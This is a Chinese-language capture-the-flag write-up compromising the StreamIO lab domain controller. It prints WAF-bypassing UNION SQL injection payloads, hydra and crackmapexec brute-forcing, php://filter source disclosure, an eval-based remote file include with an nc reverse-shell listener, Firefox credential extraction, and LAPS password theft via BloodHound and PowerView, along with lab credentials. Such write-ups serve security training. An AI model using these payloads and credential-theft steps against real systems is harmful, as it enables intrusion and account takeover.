信息收集
端口扫描
nmap扫描到 19 个开放的 TCP 端口。
接着继续使用nmap的-s、-C、-V等参数进行版本等进行扫描
服务(DNS 53、Kerberos 88、LDAP 389 和其他、SMB 445、RPC 135、Netbios 139 等)的组合表明这是一个域控制器。而443 上的 TLS 证书上还有两个 DNS 名称,streamIO.htb和watch.streamIO.htb.
子域名枚举
使用wfuzz对子域名进行枚举
SMB爆破
接着使用crackmapexec进行爆破smb。
主机信息收集
访问80端口,发现winserver服务。
访问https下的url地址。
进行关键信息收集。
有一个联系页面,当我提交一些东西时,它说要在电子邮件中寻找回复:
然后进行注册,但是不能进行登录。
注册新用户,尝试进行登录。
注册之后,不能成功进行登录。
目录爆破
接着使用feroxbuster 对php文件格式进行爆破。
和之前的一样,存在登录和注册模块。
子域名枚举出来了一个watch.streamio.htb。
该网站有一个常见问题解答和一个订阅表格:
通过该表单添加xx报告它是可以成功的:
但是执行一些恶意的payload,会触发waf。
漏洞利用:
SQL注入
在search.php显示带有“观看”按钮的数百部电影的列表:
单击“观看”只是表示该功能不可用:
在搜索栏中输入内容会过滤结果。例如,输入“test”会返回:
接着进行测试。发现有waf对关键字进行拦截。
手工注入绕过waf
如果我只是将 a 传递给'查询,它不会返回任何结果。实际上,从开发端捕获 SQL 中的错误并在服务器端进行管理是一种很好的做法。这并不意味着它不容易受到 SQL 注入的影响。
我会注意到,当我输入“test”时,它会返回“The Greatest Showman”。这意味着数据库查询类似于:
select*from movies where title like '%[input]%';
如果这是可注入的,那么我可以尝试一些不会崩溃但仍可能返回结果的方法。例如,如果我尝试“man”;--“会怎样。如果这是可注射的,那将导致:
select * from movies where title like '%man';-- -%';
联合查询
abcd' union select 1,2,3,4,5,6;-- -:
u' union select 1,@@version,3,4,5,6 -- //查询版本
u' union select 1,table_name,3,4,5,6 from information_schema.tables -- //查询表
u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' -- //查询表单的列。
u' union select 1,username,3,4,5,6 from users -- //查询用户
u' union select 1,password,3,4,5,6 from users -- //查询密码
u' union select 1,concat(username,':',password),3,4,5,6 from users -- //查询用户和密码
使用curl命令将用户名和密码保存。
hashcat解密
SMB爆破
使用该--no-bruteforce选项,它将为每个用户匹配相应的密码(而不是像默认行为那样尝试全部尝试)。
使用hydra和https-post-form插件来寻找有效用户。
找到了用户 yoshihide,然后 使用密码“66boysandgirls..”登录。
成功进入后台之后,发现在/admin用户下存在4个功能点。
参数枚举
接着对admin?xxx=参数进行枚举
wfuzz -u https://streamio.htb/admin/?FUZZ=-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H"Cookie: PHPSESSID=gpp07f35aviqcd3ak2544hne08"--hh 1678
命令执行
发现存在/debug目录。
在/admin/master.php之前的内容,尝试master.php加载包含电影、用户和员工的页面!
获取master源码
使用 PHP 过滤器来获取源master.php代码https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php:
源码分析
<h1>Movie managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); if(isset($_POST['movie_id'])) { $query = "delete from movies where id = ".$_POST['movie_id']; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); } $query = "select * from movies order by movie"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['movie']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST" action="?movie="> <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <h1>Staff managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); $query = "select * from users where is_staff = 1 "; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); if(isset($_POST['staff_id'])) { ?> <div class="alert alert-success"> Message sent to administrator</div> <?php } $query = "select * from users where is_staff = 1"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['username']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST"> <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <h1>User managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); if(isset($_POST['user_id'])) { $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id']; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); } $query = "select * from users where is_staff = 0"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['username']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST"> <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <form method="POST"> <input name="include" hidden> </form> <?php if(isset($_POST['include'])) { if($_POST['include'] !== "index.php" ) eval(file_get_contents($_POST['include'])); else echo(" ---- ERROR ---- "); } ?>
源码解密
echo "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" | base64 -d > master.php
源显示它首先确保它被包含,否则它返回一条消息:
if(!defined('included')) die("Only accessable through includes");
之后,就像我观察到的那样,它似乎合理地重新创建了各种 DB 对象。
在最底部,有一个带有隐藏字段的 HTML 表单include:
<br><hr><br> <form method="POST"> <input name="include" hidden> </form> <?php if(isset($_POST['include'])) { if($_POST['include'] !== "index.php" ) eval(file_get_contents($_POST['include'])); else echo(" ---- ERROR ---- "); } ?>
如果有 POST 参数include,它将使用file_get_contents该文件并将其传递给eval,这基本上是执行。
构造payload
接着使用include进行命令执行。
本地开启http服务,进行文件传输。
反向nc连接
rlwrap -cAr nc -lnvp 443
获取权限
成功getshell。
主机信息收集
接着对文件进行搜索。收集一些有用的东西
在其 中有另一个实例以 db_user 身份连接admin\index.php,但在 中register.php,它以 db_admin 身份连接。
streamio_backup 数据库利用
使用sqlcmd进行连接。
- -S localhost- 要连接的主机
- -U db_admin- 要连接的用户
- -P B1@hx31234567890- 用户密码
- -d streamio_backup- 要使用的数据库
- -Q [query]- 查询运行然后退出
hash爆破
查找这些用户的用途。
接着使用crackmapexec爆破,最后在 nikk37 的密码在系统上是可以使用的:
WinRM连接
使用evil-winrm进行连接。
获取user.txt
接着进入/nik37/Desktop用户目录下,获取到user.txt.
主机信息收集
发现存在火狐浏览器的配置文件。
在nikk37 有一个主目录,带有 Firefox 配置文件:
提取 Firefox 密码
工具:https://github.com/lclevy/firepwd
进入文件路径下,发现2个文件。
SMBerver建立共享,传输文件到本地。
Firepwd提取密码
使用./firepwd.py提取firefox的密码。
用户权限检测
使用crackmapexec进行用户权限检测。
发现JDgodd 没有 WinRM 的权限:
域内信息收集
活动目录收集
BloodHound.py是一个基于 Python 的 BloodHound摄取器,基于Impacket。
此版本的 BloodHound.py仅与 BloodHound 4.2 或更高版本兼容。对于 3.x 范围,通过 pypi 使用 1.1.1 版本。从 1.3 版开始,BloodHound.py 仅支持 Python 3,Python 2 不再经过测试,将来可能会中断。
使用Bloodhound(https://github.com/fox-it/BloodHound.py)进行域内活动目录收集,发现一个zip文件 包含四个文件,其中包含有关域中各种对象的信息:
然后进行分析。
https://github.com/PowerShellMafia/PowerSploit
导入数据
我将打开 Bloodhound 并清除数据库以重新开始(“数据库信息”选项卡底部的按钮)。我将单击右侧菜单中的“上传数据”按钮,并为其提供 zip 文件:
分析
加载数据后,我将搜索并标记拥有我有权访问的三个帐户中的每一个。对于每一个,我都会检查“出站控制权”。yoshihide 和 nikk37 没有,但 JDgodd 显示了一个:
结论
单击“1”表示 JDgodd 拥有所有权,并且WriteOwner在 Core Staff 组中:从核心员工扩展而来,它ReadLAPSPassword在 DC 计算机对象上有:
权限提升
上传PowerView.ps1
在C:\programdata目录下,上传PowerView.ps1(https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
导入JDgodd 的凭证对象,并将 JDgodd 添加到组中。
提取 LAPS 密码
使用crackmapexec也可以提取 LAPS 密码
运行脚本。
获取 LAPS 密码
使用Get-AdComputer-Filter*-Propertiesms-Mcs-AdmPwd-Credential$cred,获取lAPS密码。
WINRM以管理员用户远程连接
evil-winrm -u administrator -p'8M[&tV4#!j$k05'-i 10.10.11.158
成功连接之后,进入/users/Martin目录下。
获取root.txt
使用type命令查看root.txt
总结
首先进行信息收集,通过端口扫描、子域名枚举发现存在另一个域名,接着使用crackmapexec爆破SMB协议,然后对目录进行爆破。发现注册用户页面和登录页面。接着进行漏洞利用,发现存在一个表单,尝试sql注入、发现存在waf,然后进行手工绕过。绕过wajief之后,hsahcat进行爆破,接着进行smb爆破,然后进行命令执行漏洞。第一次getshell,getshell之后,发现存在Firefox的配置文件,然后下载到本地,进行解密。解密之后进行用户权限检测,然后进行域内信息收集。接着进行权限提升。使用WinRM进行本地登录,登录之后获取root.txt文件。